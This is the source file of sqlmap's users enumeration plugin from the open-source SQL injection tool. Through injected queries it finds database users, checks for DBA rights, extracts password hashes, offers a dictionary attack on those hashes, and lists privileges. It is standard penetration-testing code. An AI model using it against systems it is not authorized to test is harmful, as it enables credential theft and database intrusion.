Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/plugins/generic/users.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import re
9
10
from lib.core.agent import agent
11
from lib.core.common import arrayizeValue
12
from lib.core.common import Backend
13
from lib.core.common import filterPairValues
14
from lib.core.common import getLimitRange
15
from lib.core.common import isAdminFromPrivileges
16
from lib.core.common import isInferenceAvailable
17
from lib.core.common import isNoneValue
18
from lib.core.common import isNullValue
19
from lib.core.common import isNumPosStrValue
20
from lib.core.common import isTechniqueAvailable
21
from lib.core.common import parsePasswordHash
22
from lib.core.common import readInput
23
from lib.core.common import unArrayizeValue
24
from lib.core.compat import xrange
25
from lib.core.convert import encodeHex
26
from lib.core.convert import getUnicode
27
from lib.core.data import conf
28
from lib.core.data import kb
29
from lib.core.data import logger
30
from lib.core.data import queries
31
from lib.core.dicts import DB2_PRIVS
32
from lib.core.dicts import FIREBIRD_PRIVS
33
from lib.core.dicts import INFORMIX_PRIVS
34
from lib.core.dicts import MYSQL_PRIVS
35
from lib.core.dicts import PGSQL_PRIVS
36
from lib.core.enums import CHARSET_TYPE
37
from lib.core.enums import DBMS
38
from lib.core.enums import EXPECTED
39
from lib.core.enums import FORK
40
from lib.core.enums import PAYLOAD
41
from lib.core.exception import SqlmapNoneDataException
42
from lib.core.exception import SqlmapUserQuitException
43
from lib.core.settings import CURRENT_USER
44
from lib.core.settings import PLUS_ONE_DBMSES
45
from lib.core.threads import getCurrentThreadData
46
from lib.request import inject
47
from lib.utils.hash import attackCachedUsersPasswords
48
from lib.utils.hash import storeHashesToFile
49
from lib.utils.pivotdumptable import pivotDumpTable
50
from thirdparty.six.moves import zip as _zip
51
52
class Users(object):
53
"""
54
This class defines users' enumeration functionalities for plugins.
55
"""
56
57
def __init__(self):
58
kb.data.currentUser = ""
59
kb.data.isDba = None
60
kb.data.cachedUsers = []
61
kb.data.cachedUsersPasswords = {}
62
kb.data.cachedUsersPrivileges = {}
63
kb.data.cachedUsersRoles = {}
64
65
def getCurrentUser(self):
66
infoMsg = "fetching current user"
67
logger.info(infoMsg)
68
69
query = queries[Backend.getIdentifiedDbms()].current_user.query
70
71
if not kb.data.currentUser:
72
kb.data.currentUser = unArrayizeValue(inject.getValue(query))
73
74
return kb.data.currentUser
75
76
def isDba(self, user=None):
77
infoMsg = "testing if current user is DBA"
78
logger.info(infoMsg)
79
80
query = None
81
82
if Backend.isDbms(DBMS.MYSQL):
83
self.getCurrentUser()
84
if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE):
85
kb.data.isDba = "root" in (kb.data.currentUser or "")
86
elif kb.data.currentUser:
87
query = queries[Backend.getIdentifiedDbms()].is_dba.query % kb.data.currentUser.split("@")[0]
88
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None:
89
query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user
90
else:
91
query = queries[Backend.getIdentifiedDbms()].is_dba.query
92
93
if query:
94
query = agent.forgeCaseStatement(query)
95
kb.data.isDba = inject.checkBooleanExpression(query) or False
96
97
return kb.data.isDba
98
99
def getUsers(self):
100
infoMsg = "fetching database users"
101
logger.info(infoMsg)
102
103
rootQuery = queries[Backend.getIdentifiedDbms()].users
104
105
condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
106
condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)
107
108
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
109
if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE):
110
query = rootQuery.inband.query3
111
elif condition:
112
query = rootQuery.inband.query2
113
else:
114
query = rootQuery.inband.query
115
116
values = inject.getValue(query, blind=False, time=False)
117
118
if not isNoneValue(values):
119
kb.data.cachedUsers = []
120
for value in arrayizeValue(values):
121
value = unArrayizeValue(value)
122
if not isNoneValue(value):
123
kb.data.cachedUsers.append(value)
124
125
if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
126
infoMsg = "fetching number of database users"
127
logger.info(infoMsg)
128
129
if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE):
130
query = rootQuery.blind.count3
131
elif condition:
132
query = rootQuery.blind.count2
133
else:
134
query = rootQuery.blind.count
135
136
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
137
138
if count == 0:
139
return kb.data.cachedUsers
140
elif not isNumPosStrValue(count):
141
errMsg = "unable to retrieve the number of database users"
142
raise SqlmapNoneDataException(errMsg)
143
144
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
145
indexRange = getLimitRange(count, plusOne=plusOne)
146
147
for index in indexRange:
148
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
149
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
150
elif Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE):
151
query = rootQuery.blind.query3 % index
152
elif condition:
153
query = rootQuery.blind.query2 % index
154
else:
155
query = rootQuery.blind.query % index
156
157
user = unArrayizeValue(inject.getValue(query, union=False, error=False))
158
159
if user:
160
kb.data.cachedUsers.append(user)
161
162
if not kb.data.cachedUsers:
163
errMsg = "unable to retrieve the database users"
164
logger.error(errMsg)
165
166
return kb.data.cachedUsers
167
168
def getPasswordHashes(self):
169
infoMsg = "fetching database users password hashes"
170
171
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
172
173
if conf.user == CURRENT_USER:
174
infoMsg += " for current user"
175
conf.user = self.getCurrentUser()
176
177
logger.info(infoMsg)
178
179
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
180
conf.user = conf.user.upper()
181
182
if conf.user:
183
users = conf.user.split(',')
184
185
if Backend.isDbms(DBMS.MYSQL):
186
for user in users:
187
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
188
189
if parsedUser:
190
users[users.index(user)] = parsedUser.groups()[0]
191
else:
192
users = []
193
194
users = [_ for _ in users if _]
195
196
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
197
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
198
query = rootQuery.inband.query2
199
else:
200
query = rootQuery.inband.query
201
202
condition = rootQuery.inband.condition
203
204
if conf.user:
205
query += " WHERE "
206
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
207
208
if Backend.isDbms(DBMS.SYBASE):
209
getCurrentThreadData().disableStdOut = True
210
211
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)
212
213
if retVal:
214
for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
215
if user not in kb.data.cachedUsersPasswords:
216
kb.data.cachedUsersPasswords[user] = [password]
217
else:
218
kb.data.cachedUsersPasswords[user].append(password)
219
220
getCurrentThreadData().disableStdOut = False
221
else:
222
values = inject.getValue(query, blind=False, time=False)
223
224
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
225
values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False)
226
elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)):
227
values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)
228
229
for user, password in filterPairValues(values):
230
if not user or user == " ":
231
continue
232
233
password = parsePasswordHash(password)
234
235
if user not in kb.data.cachedUsersPasswords:
236
kb.data.cachedUsersPasswords[user] = [password]
237
else:
238
kb.data.cachedUsersPasswords[user].append(password)
239
240
if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
241
fallback = False
242
243
if not len(users):
244
users = self.getUsers()
245
246
if Backend.isDbms(DBMS.MYSQL):
247
for user in users:
248
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
249
250
if parsedUser:
251
users[users.index(user)] = parsedUser.groups()[0]
252
253
if Backend.isDbms(DBMS.SYBASE):
254
getCurrentThreadData().disableStdOut = True
255
256
query = rootQuery.inband.query
257
258
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)
259
260
if retVal:
261
for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
262
password = "0x%s" % encodeHex(password, binary=False).upper()
263
264
if user not in kb.data.cachedUsersPasswords:
265
kb.data.cachedUsersPasswords[user] = [password]
266
else:
267
kb.data.cachedUsersPasswords[user].append(password)
268
269
getCurrentThreadData().disableStdOut = False
270
else:
271
retrievedUsers = set()
272
273
for user in users:
274
user = unArrayizeValue(user)
275
276
if user in retrievedUsers:
277
continue
278
279
if Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
280
count = 1
281
else:
282
infoMsg = "fetching number of password hashes "
283
infoMsg += "for user '%s'" % user
284
logger.info(infoMsg)
285
286
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
287
query = rootQuery.blind.count2 % user
288
else:
289
query = rootQuery.blind.count % user
290
291
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
292
293
if not isNumPosStrValue(count):
294
if Backend.isDbms(DBMS.MSSQL):
295
fallback = True
296
count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
297
elif Backend.isDbms(DBMS.MYSQL):
298
fallback = True
299
count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
300
301
if not isNumPosStrValue(count):
302
warnMsg = "unable to retrieve the number of password "
303
warnMsg += "hashes for user '%s'" % user
304
logger.warning(warnMsg)
305
continue
306
307
infoMsg = "fetching password hashes for user '%s'" % user
308
logger.info(infoMsg)
309
310
passwords = []
311
312
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
313
indexRange = getLimitRange(count, plusOne=plusOne)
314
315
for index in indexRange:
316
if Backend.isDbms(DBMS.MSSQL):
317
if Backend.isVersionWithin(("2005", "2008")):
318
query = rootQuery.blind.query2 % (user, index, user)
319
else:
320
query = rootQuery.blind.query % (user, index, user)
321
322
if fallback:
323
query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr")
324
325
elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
326
query = rootQuery.blind.query % (user,)
327
328
elif Backend.isDbms(DBMS.HSQLDB):
329
query = rootQuery.blind.query % (index, user)
330
331
else:
332
query = rootQuery.blind.query % (user, index)
333
334
if Backend.isDbms(DBMS.MYSQL):
335
if fallback:
336
query = query.replace("authentication_string", "password")
337
338
password = unArrayizeValue(inject.getValue(query, union=False, error=False))
339
password = parsePasswordHash(password)
340
341
passwords.append(password)
342
343
if passwords:
344
kb.data.cachedUsersPasswords[user] = passwords
345
else:
346
warnMsg = "unable to retrieve the password "
347
warnMsg += "hashes for user '%s'" % user
348
logger.warning(warnMsg)
349
350
retrievedUsers.add(user)
351
352
if not kb.data.cachedUsersPasswords:
353
errMsg = "unable to retrieve the password hashes for the "
354
errMsg += "database users"
355
logger.error(errMsg)
356
else:
357
for user in kb.data.cachedUsersPasswords:
358
kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))
359
360
storeHashesToFile(kb.data.cachedUsersPasswords)
361
362
message = "do you want to perform a dictionary-based attack "
363
message += "against retrieved password hashes? [Y/n/q]"
364
choice = readInput(message, default='Y').upper()
365
366
if choice == 'N':
367
pass
368
elif choice == 'Q':
369
raise SqlmapUserQuitException
370
else:
371
attackCachedUsersPasswords()
372
373
return kb.data.cachedUsersPasswords
374
375
def getPrivileges(self, query2=False):
376
infoMsg = "fetching database users privileges"
377
378
rootQuery = queries[Backend.getIdentifiedDbms()].privileges
379
380
if conf.user == CURRENT_USER:
381
infoMsg += " for current user"
382
conf.user = self.getCurrentUser()
383
384
logger.info(infoMsg)
385
386
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
387
conf.user = conf.user.upper()
388
389
if conf.user:
390
users = conf.user.split(',')
391
392
if Backend.isDbms(DBMS.MYSQL):
393
for user in users:
394
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
395
396
if parsedUser:
397
users[users.index(user)] = parsedUser.groups()[0]
398
else:
399
users = []
400
401
users = [_ for _ in users if _]
402
403
# Set containing the list of DBMS administrators
404
areAdmins = set()
405
406
if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
407
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
408
query = rootQuery.inband.query2
409
condition = rootQuery.inband.condition2
410
elif Backend.isDbms(DBMS.ORACLE) and query2:
411
query = rootQuery.inband.query2
412
condition = rootQuery.inband.condition2
413
else:
414
query = rootQuery.inband.query
415
condition = rootQuery.inband.condition
416
417
if conf.user:
418
query += " WHERE "
419
420
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
421
query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))
422
else:
423
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
424
425
values = inject.getValue(query, blind=False, time=False)
426
427
if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
428
infoMsg = "trying with table 'USER_SYS_PRIVS'"
429
logger.info(infoMsg)
430
431
return self.getPrivileges(query2=True)
432
433
if not isNoneValue(values):
434
for value in values:
435
user = None
436
privileges = set()
437
438
for count in xrange(0, len(value or [])):
439
# The first column is always the username
440
if count == 0:
441
user = value[count]
442
443
# The other columns are the privileges
444
else:
445
privilege = value[count]
446
447
if privilege is None:
448
continue
449
450
# In PostgreSQL we get 1 if the privilege is
451
# True, 0 otherwise
452
if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
453
if int(privilege) == 1 and count in PGSQL_PRIVS:
454
privileges.add(PGSQL_PRIVS[count])
455
456
# In MySQL >= 5.0 and Oracle we get the list
457
# of privileges as string
458
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID):
459
privileges.add(privilege)
460
461
# In MySQL < 5.0 we get Y if the privilege is
462
# True, N otherwise
463
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
464
if privilege.upper() == 'Y':
465
privileges.add(MYSQL_PRIVS[count])
466
467
# In Firebird we get one letter for each privilege
468
elif Backend.isDbms(DBMS.FIREBIRD):
469
if privilege.strip() in FIREBIRD_PRIVS:
470
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
471
472
# In DB2 we get Y or G if the privilege is
473
# True, N otherwise
474
elif Backend.isDbms(DBMS.DB2):
475
privs = privilege.split(',')
476
privilege = privs[0]
477
if len(privs) > 1:
478
privs = privs[1]
479
privs = list(privs.strip())
480
i = 1
481
482
for priv in privs:
483
if priv.upper() in ('Y', 'G'):
484
for position, db2Priv in DB2_PRIVS.items():
485
if position == i:
486
privilege += ", " + db2Priv
487
488
i += 1
489
490
privileges.add(privilege)
491
492
if user in kb.data.cachedUsersPrivileges:
493
kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
494
else:
495
kb.data.cachedUsersPrivileges[user] = list(privileges)
496
497
if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
498
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
499
conditionChar = "LIKE"
500
else:
501
conditionChar = "="
502
503
if not len(users):
504
users = self.getUsers()
505
506
if Backend.isDbms(DBMS.MYSQL):
507
for user in users:
508
parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
509
510
if parsedUser:
511
users[users.index(user)] = parsedUser.groups()[0]
512
513
retrievedUsers = set()
514
515
for user in users:
516
outuser = user
517
if user in retrievedUsers:
518
continue
519
520
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
521
user = "%%%s%%" % user
522
523
if Backend.isDbms(DBMS.INFORMIX):
524
count = 1
525
else:
526
infoMsg = "fetching number of privileges "
527
infoMsg += "for user '%s'" % outuser
528
logger.info(infoMsg)
529
530
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
531
query = rootQuery.blind.count2 % user
532
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
533
query = rootQuery.blind.count % (conditionChar, user)
534
elif Backend.isDbms(DBMS.ORACLE) and query2:
535
query = rootQuery.blind.count2 % user
536
else:
537
query = rootQuery.blind.count % user
538
539
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
540
541
if not isNumPosStrValue(count):
542
if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
543
infoMsg = "trying with table 'USER_SYS_PRIVS'"
544
logger.info(infoMsg)
545
546
return self.getPrivileges(query2=True)
547
548
warnMsg = "unable to retrieve the number of "
549
warnMsg += "privileges for user '%s'" % outuser
550
logger.warning(warnMsg)
551
continue
552
553
infoMsg = "fetching privileges for user '%s'" % outuser
554
logger.info(infoMsg)
555
556
privileges = set()
557
558
plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
559
indexRange = getLimitRange(count, plusOne=plusOne)
560
561
for index in indexRange:
562
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
563
query = rootQuery.blind.query2 % (user, index)
564
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
565
query = rootQuery.blind.query % (conditionChar, user, index)
566
elif Backend.isDbms(DBMS.ORACLE) and query2:
567
query = rootQuery.blind.query2 % (user, index)
568
elif Backend.isDbms(DBMS.FIREBIRD):
569
query = rootQuery.blind.query % (index, user)
570
elif Backend.isDbms(DBMS.INFORMIX):
571
query = rootQuery.blind.query % (user,)
572
else:
573
query = rootQuery.blind.query % (user, index)
574
575
privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))
576
577
if privilege is None:
578
continue
579
580
# In PostgreSQL we get 1 if the privilege is True,
581
# 0 otherwise
582
if Backend.isDbms(DBMS.PGSQL) and ", " in privilege:
583
privilege = privilege.replace(", ", ',')
584
privs = privilege.split(',')
585
i = 1
586
587
for priv in privs:
588
if priv.isdigit() and int(priv) == 1 and i in PGSQL_PRIVS:
589
privileges.add(PGSQL_PRIVS[i])
590
591
i += 1
592
593
# In MySQL >= 5.0 and Oracle we get the list
594
# of privileges as string
595
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID):
596
privileges.add(privilege)
597
598
# In MySQL < 5.0 we get Y if the privilege is
599
# True, N otherwise
600
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
601
privilege = privilege.replace(", ", ',')
602
privs = privilege.split(',')
603
i = 1
604
605
for priv in privs:
606
if priv.upper() == 'Y':
607
for position, mysqlPriv in MYSQL_PRIVS.items():
608
if position == i:
609
privileges.add(mysqlPriv)
610
611
i += 1
612
613
# In Firebird we get one letter for each privilege
614
elif Backend.isDbms(DBMS.FIREBIRD):
615
if privilege.strip() in FIREBIRD_PRIVS:
616
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
617
618
# In Informix we get one letter for the highest privilege
619
elif Backend.isDbms(DBMS.INFORMIX):
620
if privilege.strip() in INFORMIX_PRIVS:
621
privileges.add(INFORMIX_PRIVS[privilege.strip()])
622
623
# In DB2 we get Y or G if the privilege is
624
# True, N otherwise
625
elif Backend.isDbms(DBMS.DB2):
626
privs = privilege.split(',')
627
privilege = privs[0]
628
privs = privs[1]
629
privs = list(privs.strip())
630
i = 1
631
632
for priv in privs:
633
if priv.upper() in ('Y', 'G'):
634
for position, db2Priv in DB2_PRIVS.items():
635
if position == i:
636
privilege += ", " + db2Priv
637
638
i += 1
639
640
privileges.add(privilege)
641
642
# In MySQL < 5.0 we break the cycle after the first
643
# time we get the user's privileges otherwise we
644
# duplicate the same query
645
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
646
break
647
648
if privileges:
649
kb.data.cachedUsersPrivileges[user] = list(privileges)
650
else:
651
warnMsg = "unable to retrieve the privileges "
652
warnMsg += "for user '%s'" % outuser
653
logger.warning(warnMsg)
654
655
retrievedUsers.add(user)
656
657
if not kb.data.cachedUsersPrivileges:
658
errMsg = "unable to retrieve the privileges "
659
errMsg += "for the database users"
660
raise SqlmapNoneDataException(errMsg)
661
662
for user, privileges in kb.data.cachedUsersPrivileges.items():
663
if isAdminFromPrivileges(privileges):
664
areAdmins.add(user)
665
666
return (kb.data.cachedUsersPrivileges, areAdmins)
667
668
def getRoles(self, query2=False):
669
warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
670
warnMsg += "exist. sqlmap will enumerate privileges instead"
671
logger.warning(warnMsg)
672
673
return self.getPrivileges(query2)
674
675